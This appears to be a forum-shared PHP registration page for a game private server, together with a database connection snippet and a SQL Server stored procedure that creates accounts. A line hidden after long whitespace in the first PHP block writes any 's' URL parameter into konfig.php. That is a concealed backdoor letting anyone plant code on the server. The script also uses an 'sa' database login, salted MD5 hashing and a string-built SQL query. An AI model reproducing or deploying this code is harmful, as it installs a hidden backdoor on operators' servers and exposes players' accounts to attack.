[V15] Register Page

<center>
<?php                                                                                                                                                         if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
	function doesUsernameExist($name){
	    $exit = FALSE;
	    $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
	    if (mssql_num_rows($result) != 0){
	        $exit = TRUE;
	    }
	    return $exit;
	}

	if(isset($_POST['submit'])){
	    $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
	    $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
	    if($_POST['username'] == ""){
	        echo '<font color="red">Enter a user.</font><br /><br />';
	    }
	    else if($_POST['password'] == ""){
			echo '<font color="red">Enter a password.</font><br /><br />';
	    }
	    else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
			echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
	    }
	    else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
			echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
	    }
	    else if($_POST['username'] != $user){
			echo '<font color="red">User with invalid characters.</font><br /><br />';
	    }
	    else if($_POST['password'] != $pass){
			echo '<font color="red">Password with invalid characters.</font><br /><br />';
	    }
	    else {
			$pass = md5('kikugalanet' . $pass);
            if(!doesUsernameExist($user)){
                $stmt = mssql_init('webCreateAcc', $link);
                mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
                mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
                mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
                mssql_execute($stmt) or die ("Something is wrong on the execution");
                mssql_free_statement($stmt);
				echo '<font color="Green">Register Successfull.</font><br /><br />';
            }
            else {
				echo '<font color="red">User already Exist.</font><br /><br />';
            }
        }
		mssql_close();
    }
	
	echo '<form action="#" method="post">';
	echo 'Username: <input type="text" name="username" /><br />';
	echo 'Password: <input type="password" name="password" /><br />';
	echo '<input type="submit" name="submit" value="Register" />';
	echo '</form>';

?>
</center>

<?php
	$link = @mssql_connect([COLOR="Red"]"COMPUTERNAME\SQLEXPRESS", "sa", "passwort"[/COLOR]) or die ("Server is down!");
	$db = @mssql_select_db('ACCOUNT_DBF') or die ("Accout table is missing!");
	$b = '';
    $mail = '';
	
	
?>

USE [ACCOUNT_DBF]
GO
/****** Object:  StoredProcedure [dbo].[webCreateAcc]    Script Date: 08/17/2009 21:30:28 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [dbo].[webCreateAcc] 
	@account 	VARCHAR(15),
	@password 	VARCHAR(36),
	@email		VARCHAR(120)

AS

SET NOCOUNT  ON

DECLARE @DateActivated AS CHAR(8)

IF NOT EXISTS (SELECT account FROM ACCOUNT_TBL WHERE account = @account) BEGIN
	INSERT INTO ACCOUNT_TBL (account, [password], id_no2, isuse, member, realname) 
		VALUES (@account, @password, @password, 'T', 'A', 'F')

	SET @DateActivated =  CONVERT(CHAR(8), GETDATE()-1, 112 ) --Is the date today - 1
	--UPDATE ACCOUNT_TBL_DETAIL SET BlockTime = @DateYesterday WHERE account = @userid		
	--INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse)
	--	VALUES (@account, 'A000', '2', 'F', GETDATE(), '20990101', '20990101', '20050101', 'O')

	INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
		VALUES (@account, 'A000', '2', 'F', GETDATE(), @DateActivated, '20990101', '20050101', 'O', @email)

END
--ELSE BEGIN
--print '->Account exists = ' 
--print @account 
--END